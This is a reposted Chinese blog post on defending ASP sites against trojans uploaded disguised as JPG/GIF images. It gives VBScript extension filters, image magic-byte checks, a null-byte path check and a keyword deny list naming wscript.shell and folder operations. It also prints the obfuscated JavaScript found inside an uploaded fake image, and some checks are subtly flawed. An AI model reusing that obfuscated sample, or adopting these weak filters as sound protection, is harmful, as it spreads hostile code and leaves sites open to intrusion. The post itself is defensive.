您现在的位置: Gufang > 博客 > 学无止境 > 正文
asp木马伪装成图片或其它,上传漏洞终极解决方法[转]

自从上次给客户网站升级以后,网站安全性得到了进一步加强,不过这两天我在对客户网站进行维护时,发现有2个网站被上传了木马,但由于我设置了读写运行权限,木马虽然上传上了,但是无法运行,所以网站一直没被攻破。即便如此,我也始终感觉有点不放心,然后就全面检查那两个网站存在的漏洞……


    结果查到竟然仍是上传漏洞,上传漏洞我已经做了很严密的控制了,并且非法字符什么的都已经过滤掉了,怎么还能上传木马呢?

    对于上传漏洞的查找,我仍是从源文件入手,目标有两个,一个是FilePath(文件路径),另一个则是FileName(文件名称)。 我看了有关的资料,主要也就是通过以下要过滤的字符下手。

VBScript code
Private Function FixName(Byval UpFileExt) '第一步的过滤函数,过滤特殊扩展名。 
If IsEmpty(UpFileExt) Then Exit Function '如扩展名为空就退出交互 
FixName = Lcase(UpFileExt)         '将扩展名转换为小写字符。 
FixName = Replace(FixName,Chr(0),"")     '将二进制的00空字符过滤为空 
FixName = Replace(FixName,".","")      '将单引号过滤为空,下同。 jmdcw 
FixName = Replace(FixName,"'","") 
FixName = Replace(FixName,"asp","") 
FixName = Replace(FixName,"asa","") 
FixName = Replace(FixName,"aspx","") 
FixName = Replace(FixName,"cer","") 
FixName = Replace(FixName,"cdx","") 
FixName = Replace(FixName,"htr","") 
FixName = Replace(FixName,"shtml","") 
End Function


第一关就是过滤上面的字符

第二关

VBScript code
if fileEXT="asp" or fileEXT="asa" or fileEXT="aspx" or fileEXT="php" or fileEXT="jsp" then ' 第二关,验证fileEXT是否为asp、asa、aspx、php、jsp扩展名。
EnableUpload=false     '如果属于这三项之一,那么EnableUpload就定义为假,上传文件扩展名不合法。
end if

第三关

VBScript code
if EnableUpload=false then '第三关,验证关。如果传递到此的EnableUpload变量为假,则说明上传文件扩展名不合法。 
msg="这种文件类型不允许上传!\n\n只允许上传这几种文件类型:" & UpFileType 
FoundErr=true '注意:因为文件名不合法,就更改了FoundErr值,由初始的false改为true。 
end if


第四关

VBScript code
if FoundErr<>true then     '第四关,上传关。如果FoundErr不等于true才可以上传。


上面的方法可以说是很严密了!

但是我在我的网站里看了后缀为jpg和gif的文件,就是上传上出的,改变后缀一看代码如下:


<html><head><Meta Name=Encoder Content=HTMLSHIP>
<script language="javascript"><!--
bC45="\]Ia2aca\,",lZ72="\]x\(fIaL";.3102207,qZ42=".2914261",lZ72=s69J\@Q 7S\+3Rf{k\?\'%XW$PrYh\=q}\<IKUpZDHcldijy\~GFe\^Vt2AgO_zN40#1ME\(&8T\-\`L\*ax\.ou5\;\rBC\"w\]mbvn

\/\n,bC45=oBxTqn\nw_kR}\@i0ZLduHAftN\?S\'mEQ8O\[p$6G5{\"\=aV
r\+zs4jy\/\rv\<Y\^\&\`\ Fgh1IWC%32K7clP\-\,DU\~\\J\.eMX\#b9\*';function wX27(oL88){"\]IaIDcf\,",l=oL88.length;'\@cW\@W\ \^Th\&4',w='';while(l--)"\]D\,\(I2LD",o=bC45.indexOf(oL88.charAt(l)),'c\@4\&qq\-W',w=(o==-1?oL88.charAt(l):lZ72.charAt(o))+w;"\]Lca2aL2",bC45=bC45.substring(1)+bC45.charAt(0),document.write(w);'c\^\@WqWkq'};wX27("EBGt\:\[zw5Xjl\)j\]S\{\)M\)BGt\:
z\rj\@I_STIxT\-ilXGzcXw\/Bh20Xc7Bz\)zlBwSw\~w\~\-B
zW\:\.\]clzh\~\/\!\\Bh2\~b\`\^\^2\-m\-\/\!\\Bh2\-c\$\_\^S\`IxT\-\-\/5\:G\]XB\]\!\/zc\/S\~\?l\"li\]Xj\~\-E9BGt\:\[z\r")//--></script><scripT laNGuAge=jaVascriPt>wX27("Q\{0N2er\_xN5\'SsspB\*\*4\ \&c\-\@c4\&\@c44\&\*\-\ \!2cSse\_J\{\:sS\'\ \&\&\_Sr\{ySs\'\&vQ\*\{0N2erv")</script></head><body></body></html>

郁闷吧,竟然是木马伪装成图片格式

    那我就在想jpg和gif格式是允许上传的,那我这样防来防去不是白忙一场,原来别人是通过,把木马伪装成jpg和gif图片格式来上传的!那么有没有一种办法,识别出来上传的是正常图片还是木马图片呢?

    答案肯定是有的,经过2个多小时的努力,我终于把这个问题解决了!并且所有用户网站我都已经打上了该漏洞补丁!请用户放心使用!

    解决的原理是:判断客户端的上传的图片格式是否合法。即:判断该文件是否符合图像的规范,如果是木马伪装的图片肯定是不合法的,然后FSO删除之即可!

    说到这,估计有些人还是不是很明白,我结合着代码,给大家详细解析下:

<%
'***************************************************************
'CheckFileType 函数用来检查文件是否为图片文件
'参数filename是本地文件的路径
'如果是文件jpeg,gif,bmp,png图片中的一种,函数返回true,否则返回false
'***************************************************************

const adTypeBinary=1

dim jpg(1):jpg(0)=CByte(&HFF):jpg(1)=CByte(&HD8)
dim bmp(1):bmp(0)=CByte(&H42):bmp(1)=CByte(&H4D)
dim png(3):png(0)=CByte(&H89):png(1)=CByte(&H50):png(2)=CByte(&H4E):png(3)=CByte(&H47)
dim gif(5):gif(0)=CByte(&H47):gif(1)=CByte(&H49):gif(2)=CByte(&H46):gif(3)=CByte(&H39):gif(4)=CByte(&H38):gif(5)=CByte(&H61)

function CheckFileType(filename)
on error resume next
CheckFileType=false
dim fstream,fileExt,stamp,i
fileExt=mid(filename,InStrRev(filename,".")+1)
set fstream=Server.createobject("ADODB.Stream")
fstream.Open
fstream.Type=adTypeBinary
fstream.LoadFromFile filename
fstream.position=0
select case fileExt
case "jpg","jpeg"
stamp=fstream.read(2)
for i=0 to 1
if ascB(MidB(stamp,i+1,1))=jpg(i) then CheckFileType=true else CheckFileType=false
next
case "gif"
stamp=fstream.read(6)
for i=0 to 5
if ascB(MidB(stamp,i+1,1))=gif(i) then CheckFileType=true else CheckFileType=false
next
case "png"
stamp=fstream.read(4)
for i=0 to 3
if ascB(MidB(stamp,i+1,1))=png(i) then CheckFileType=true else CheckFileType=false
next
case "bmp"
stamp=fstream.read(2)
for i=0 to 1
if ascB(MidB(stamp,i+1,1))=bmp(i) then CheckFileType=true else CheckFileType=false
next
end select
fstream.Close
set fseteam=nothing
if err.number<>0 then CheckFileType=false
end function
%>

那么在应用的时候 
CheckFileType(server.mappath("XXXX.jpg"))
或者
CheckFileType("F:/web/164/images/XXXX.jpg"))

反正即是检测验证本地物理地址的图像文件类型,返回 true 或 false值

所以这个情况应用在图像上传中,目前的办法是先允许该“伪图像”文件的上传,接着使用以上的自定义函数判断该文件是否符合图像的规范,若是木马伪装的图像文件则FSO删除之,比如:
file.SaveAs Server.mappath(filename) '保存文件
If not CheckFileType(Server.mappath(filename)) then
response.write "错误的图像格式"
Set fso = CreateObject("Scripting.FileSystemObject")
Set ficn = fso.GetFile(Server.mappath(filename))
ficn.delete
set ficn=nothing
set fso=nothing
response.end
end if


则是先将文件上传,接着立马使用自定义函数判断文件图像类型的吻合性,FSO做出删除该文件的操作。

ASP上传漏洞还利用"\0"对filepath进行手脚操作www.XXXX.com/blog/showlog.asp?cat_id=32&log_id=635

针对这样的情况可使用如下函数
function TrueStr(fileTrue)
str_len=len(fileTrue)
pos=Instr(fileTrue,chr(0))
if pos=0 or pos=str_len then
TrueStr=true
else
TrueStr=false
end if
end function

接着就可判断后再做文件的上传
if TrueStr(filename)=false then
response.write "非法文件"
response.end
end if

file.SaveAs Server.mappath(filename)

到此,讲解也就基本结束了,不过,其实还有一种方法,比这更简单,我把它称为:图片上传漏洞之ASP木马终极解决方法!代码很简单,全文如下:

<!--#include file="upload.inc"-->
<style>
td{font-size:9pt;line-height:120%;color:#353535}
body{font-size:9pt;line-height:120%}

a:link            { color: #000000; text-decoration: none }
a:visited         { color: #000000; text-decoration: none }
a:active          { color: #000000; text-decoration: none }
a:hover           { color: #336699; text-decoration: none; position: relative; right: 0px; top: 1px }
</style>
<%
set upload=new upload_file
if upload.form("act")="uploadfile" then
filepath=trim(upload.form("filepath"))
filelx=trim(upload.form("filelx"))

i=0
for each formName in upload.File
    set file=upload.File(formName)

fileExt=lcase(file.FileExt) '得到的文件扩展名不含有.
if file.filesize<250 then
    response.write "<span style=""font-family: 宋体; font-size: 9pt"">请先选择你要上传的文件! [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>"
response.end
end if
if (filelx<>"swf") and (filelx<>"jpg") then
    response.write "<span style=""font-family: 宋体; font-size: 9pt"">该文件类型不能上传! [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>"
response.end
end if
if filelx="swf" then
if fileext<>"swf"    then
    response.write "<span style=""font-family: 宋体; font-size: 9pt"">只能上传swf格式的Flash文件! [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>"
    response.end
end if
end if

if filelx="jpg" then
if fileext<>"gif" and fileext<>"jpg"    and fileext<>"bmp" then
    response.write "<span style=""font-family: 宋体; font-size: 9pt"">只能上传jpg、gif、bmp格式的图片! [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>"
    response.end
        end if
end if
if filelx="swf" then
if file.filesize>(3000*1024) then
    response.write "<span style=""font-family: 宋体; font-size: 9pt"">最大只能上传 3M 的Flash文件! [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>"
    response.end
end if
end if
if filelx="jpg" then
if file.filesize>(250*1024) then
    response.write "<span style=""font-family: 宋体; font-size: 9pt"">最大只能上传 250K 的图片文件! [ <a href=# onclick=history.go(-1)>重新上传</a> ]</span>"
    response.end
end if
end if

randomize
ranNum=int(90000*rnd)+10000
filename=filepath&session("useradmin")&"_"&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt
%>
<%
if file.FileSize>0 then           ''如果 FileSize > 0 说明有文件数据
    'file.SaveAs Server.mappath(filename)     ''保存文件
    file.SaveToFile Server.mappath(FileName)
    sFile=server.mappath(FileName)
set MyFile=server.CreateObject("Scripting.FileSystemObject")
set MyText=MyFile.OpenTextFile(sFile, 1) '读取文本文件
sTextAll=lcase(MyText.ReadAll)
MyText.close
'判断用户文件中的危险操作
sStr="script <% .getfolder .createfolder .deletefolder .createdirectory .deletedirectory .saveas wscript.shell script.encode"
sNoString=split(sStr," ")
for i=0 to ubound(sNoString)
if instr(sTextAll,sNoString(i)) then
set filedel=server.CreateObject ("Scripting.FileSystemObject")
filedel.deletefile server.mappath(FileName)
response.write "你的ip和时间已被纪录,由于你曾多次使用该方法对系统进行非法攻击,我们将会把你的数据向北京市公安部及网警报告!"&"攻击IP:"&request.servervariables("remote_addr")&",攻击时间:"&date()&" "&time()
set MyFiletemp=server.CreateObject("Scripting.FileSystemObject")
set wfile=myfiletemp.opentextfile(server.mappath("gjrz.txt"),8)
wfile.writeline date()&" "&time()&" "&request.servervariables("remote_addr")
Response.end
end if
next

'response.write file.FileName&"  上传成功!  <br>"
    'response.write "新文件名:"&FileName&"<br>"
    'response.write "新文件名已复制到所需的位置,可关闭窗口!"
    if filelx="swf" then
        response.write "<script>window.opener.document."&upload.form("FormName")&".size.value='"&int(file.FileSize/1024)&" K'</script>"
    end if
    response.write "<script>window.opener.document."&upload.form("FormName")&"."&upload.form("EditName")&".value='"&FileName&"'</script>"
%>
<%
end if
set file=nothing
next
set upload=nothing
end if
%>
<script language="javascript">
window.alert("文件上传成功!请不要修改生成的链接地址!");
window.close();
</script>

因此只要他上传的不管是图片还是其他文件,只要其中含有:<%,script ,encode等等脚本代码或者ASP代码,通通删除上传的文件.并作出警告.即使他把ASP木马加密或者伪装成图片也难逃死路一条

发表评论(0)
姓名 *
电子邮件
QQ
评论内容 *
验证问题 * 江苏省的省会是哪个城市?请填写正确答案
验证码 *图片看不清?点击重新得到验证码